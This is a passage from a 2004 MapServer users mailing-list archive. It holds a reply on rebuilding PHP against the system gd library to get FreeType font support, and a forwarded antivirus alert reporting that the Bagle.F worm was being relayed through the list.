Jean Talon 3D5
Ottawa, Canada
(613) 951-6461

------_=_NextPart_001_01C3FFAA.D924E29E-- From zak-ms@hoppsan.org Mon Mar 1 17:20:01 2004 From: zak-ms@hoppsan.org (Zak James) Date: Mon, 1 Mar 2004 12:20:01 -0500 Subject: [Mapserver-users] libgd was not built with FreeType font support In-Reply-To: <20040301145030.5213.qmail@hm47.locaweb.com.br> References: <20040301145030.5213.qmail@hm47.locaweb.com.br> Message-ID: You need to recompile php to use your system's gd library rather than it's own internal one (which is the default). Mapserver has picked up your system gd, which is why cgi mode works. In php's configure, you need to do --with-gd= Watch configure's output closely to make sure it's actually getting the correct gd - if there's a problem it grabs the one in it's own ext folder. zak -- Zak James Applications and Software Development DM Solutions Group Inc. http://www.dmsolutions.ca On Mar 1, 2004, at 9:50 AM, Eduardo Patto Kanegae wrote: > When trying to run $MapFile->draw() I'm getting: > "Warning: [MapServer Error]: msGetLabelSize(): libgd was not built > with FreeType font support in ..." > > The strange fact is that my CGI applications runs OK. > > --------------- > > I have MapServer CGI as > MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF > SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER > SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT > INPUT=EPPL7 INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > configured with : > $ ./configure --prefix=/usr/local --without-jpeg --without-tiff > --with-freetype --with-zlib --with-png --with-gd > --with-xpm=/usr/X11R6/lib > --with-pdf=/usr/local/mapserver-linux-distro/deps/PDFlib-5.0.2-Linux/ > bind/c --with-eppl --with-proj --with-threads --with-ogr --with-gdal > --without-ming --with-wfs --with-wfsclient --with-wms -with-wmsclient > --with-curl-config --with-curl --enable-ignore-missing-data > --disable-debug > --with-php=/usr/local/mapserver-linux-distro/deps/php-4.3.4 > > and PHPMapScript as > MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF > SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER > SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT > INPUT=EPPL7 INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > configured with: > $ ./configure --prefix=/usr/local --without-aolserver > --without-apache --enable-cli --disable-embed --without-nsapi > --without-pi3web --without-servlet --enable-cgi > --enable-force-cgi-redirect --enable-fastcgi --disable-debug > --with-config-file-path=/etc --enable-safe-mode --disable-sigchild > --enable-magic-quotes --enable-short-tags --disable-ipv6 > --without-openssl --with-zlib --without-bz2 --enable-calendar > --without-cpdflib --with-jpeg=/usr/local/bin > --with-tiff=/usr/local/lib --without-crack --with-curl=/usr/local/lib > --without-cyrus --without-db --enable-dba --without-gdbm > --without-ndbm --without-dba --without-db3 --without-db2 --without-dbm > --without-cdb --with-inifile --without-flatfile --enable-dbase > --enable-dbx --enable-dio --without-dom --enable-exif --without-fbsql > --without-fdftk --disable-filepro --without-fribidi--enable-ftp > --with-cg=/usr --with-jpeg-dir=/usr/local/bin --with-freetype=/usr/lib > --with-t1lib=/usr/include --with-gd --enable-gd-native-ttf --dis! > able-gd-jis-conv --with-gettext=/usr/lib --without-gmp > --without-hwapi --without-hyperwave --without-imap --without-kerberos > --without-imap-ssl --without-informix --without-ingress > --without-interbase --without-ircg --without-java --without-ldap > --enable-mbstring --disable-mregex --without-libmbfl --without-mcal > --without-mcrypt --without-mcve --with-mhash > --with-mime-magic--without-mnogosearch --without-msession > --without-msql --without-mssql --with-mysql --without-ncurses > --without-oci8 --without-adabas --without-sapdb --without-solid > --without-ibm-db2 --without-empress --without-birdstep > --without-custom-odbc --without-iodbc --without-esoob > --without-unixODBC --without-dbmaker --without-oracle > --disable-overload --without-ovrimos --disable-pcntl --with-pcre-regex > --without-pfpro --with-pgsql=/usr --disable-posix --without-pspell > --without-qtdom --without-libedit --without-readline --without-recode > --enable-session --with-mm --disable-shmop --without-snmp > --disable-ucd-! > snmp-hack --enable-sockets --with-regex=system --without-swf --without > > -sybase --without-sybase-ct --disable-sysvmsg --disable-sysvsem > --disable-sysvshm --disable-tokenizer --disable-wddx --enable-xml > --disable-xslt --without-sablot-js --without-yaz --disable-yp > --without-zip --with-pear > > thanks in advance. > > Eduardo Patto Kanegae > http://www.consultoria.eti.br > > ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## > *************************************** > ***Fim da Mensagem / End of Message *** > *************************************** > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From jbutcher@ci.collierville.tn.us Mon Mar 1 17:55:43 2004 From: jbutcher@ci.collierville.tn.us (Jim Butcher) Date: Mon, 01 Mar 2004 11:55:43 -0600 Subject: [Mapserver-users] [Fwd: [virusalert@mail.ci.collierville.tn.us: VIRUS (Worm/Bagle.F) FROM ]] Message-ID: <1078163743.8293.9.camel@stargate> --=-SFt1hQMV6OmNQtq8S1ZA Content-Type: multipart/mixed; boundary="=-3g1RZTpV4/nCjDZBOK+l" --=-3g1RZTpV4/nCjDZBOK+l Content-Type: text/plain Content-Transfer-Encoding: quoted-printable To the list administrator, I don't know what the list administrator can do about this problem. An individual subscriber is unwittingly sending the worm Bagle.F through the list. The traceback information supplied by my SysAdmin is attached. --=20 James H. Butcher, G.G.(GIA) GIS Manager Town of Collierville Division of Planning 500 Poplar View Pkwy Collierville, TN 38017 P: 901-457-2360 F: 901-457-2354 email: jbutcher@ci.collierville.tn.us -----BEGIN GEEK CODE BLOCK----- Version: 3.12 GAT d+ s---:+ a+ C+++ UL++++ P+ L++ E--- W+++ N+ o+ K- w--- O M V PS-- PE++ Y+ PGP++ t++ 5++++ X++ R++ tv++ b++++ DI+++ D++ G e+++ h r y+ ------END GEEK CODE BLOCK------ --=-3g1RZTpV4/nCjDZBOK+l Content-Disposition: inline Content-Description: Forwarded message - [virusalert@mail.ci.collierville.tn.us: VIRUS (Worm/Bagle.F) FROM ] Content-Type: message/rfc822 Return-Path: X-Original-To: jbutcher@ci.collierville.tn.us Delivered-To: jbutcher@ci.collierville.tn.us Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.ci.collierville.tn.us (Postfix) with ESMTP id B809328304 for ; Mon, 1 Mar 2004 10:40:37 -0600 (CST) Received: from mail.ci.collierville.tn.us ([127.0.0.1]) by localhost (mail [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 26363-09 for ; Mon, 1 Mar 2004 10:40:35 -0600 (CST) Received: from tuxbert.ci.collierville.tn.us (kevlar.ci.collierville.tn.us [168.215.127.126]) by mail.ci.collierville.tn.us (Postfix) with ESMTP id 10BA728059 for ; Mon, 1 Mar 2004 10:40:35 -0600 (CST) Received: by tuxbert.ci.collierville.tn.us (Postfix, from userid 1000) id 6A198448023; Mon, 1 Mar 2004 10:53:52 -0600 (CST) Date: Mon, 1 Mar 2004 10:53:52 -0600 From: Don Petrowski To: jbutcher@ci.collierville.tn.us Subject: [virusalert@mail.ci.collierville.tn.us: VIRUS (Worm/Bagle.F) FROM ] Message-ID: <20040301165352.GB14666@ci.collierville.tn.us> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="hHWLQfXTYDoKhP50" Content-Disposition: inline User-Agent: Mutt/1.5.6i X-Virus-Scanned: by amavisd-new at mail Status: --hHWLQfXTYDoKhP50 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable ----- Forwarded message from virusalert@mail.ci.collierville.tn.us ----- X-Original-To: donski@localhost Delivered-To: donski@localhost.ci.collierville.tn.us X-Original-To: virusalert@mail Delivered-To: compteam@ci.collierville.tn.us Date: Mon, 1 Mar 2004 10:22:30 -0600 (CST) =46rom: virusalert@mail.ci.collierville.tn.us Subject: VIRUS (Worm/Bagle.F) FROM To: virusalert@mail.ci.collierville.tn.us A virus (Worm/Bagle.F) was found. Scanner detecting a virus: H+BEDV AntiVir or CentralCommand Vexira Antivirus The mail originated from: According to the 'Received:' trace, the message originated at: khendricksb ([198.3.82.101]) =20 The message WAS NOT delivered to: : 550 5.7.1 Message content rejected, id=3D25394-05 - VIRUS: Worm/Bagle.F Virus scanner output: Vexira Antivirus / Linux Version 2.2.0-8 Copyright (C) 2002-2004 Central Command, Inc. and/or its suppliers. Portions copyright (C) 1996-2004 H+BEDV Datentechnik GmbH. All rights reserved. =20 Loading /usr/lib/Vexira/vexira.vdf ... =20 VDF version: 6.24.0.29 created 01 Mar 2004 =20 Vexira Antivirus license: 2003000000 for Town of Collierville =20 checking drive/path (list): /var/run/amavis/tmp/amavis-20040301T101754-2= 5394/parts ALERT: [Worm/Bagle.F worm] /var/run/amavis/tmp/amavis-20040301T101754-25= 394/parts/part-00002 <<< Contains signature of the worm Worm/Bagle.F =20 =20 ----- scan results ----- directories: 1 files: 2 alerts: 1 repaired: 0 deleted: 0 renamed: 0 scan time: 00:00:01 ------------------------ Thank you for using Vexira Antivirus! The message has been quarantined as: /var/virusmails ------------------------- BEGIN HEADERS ----------------------------- Return-Path: Received: from lists.gis.umn.edu (lists.gis.umn.edu [128.101.73.109]) by mail.ci.collierville.tn.us (Postfix) with ESMTP id 4AD6A28059 for ; Mon, 1 Mar 2004 10:22:21 -0600 (CST) Received: from lists.gis.umn.edu (localhost [127.0.0.1]) by lists.gis.umn.edu (8.12.10/8.12.10) with ESMTP id i21GMkAP017699; Mon, 1 Mar 2004 10:22:46 -0600 (CST) Received: from khendricksb ([198.3.82.101]) by lists.gis.umn.edu (8.12.10/8.12.10) with SMTP id i21GGqAQ017594 for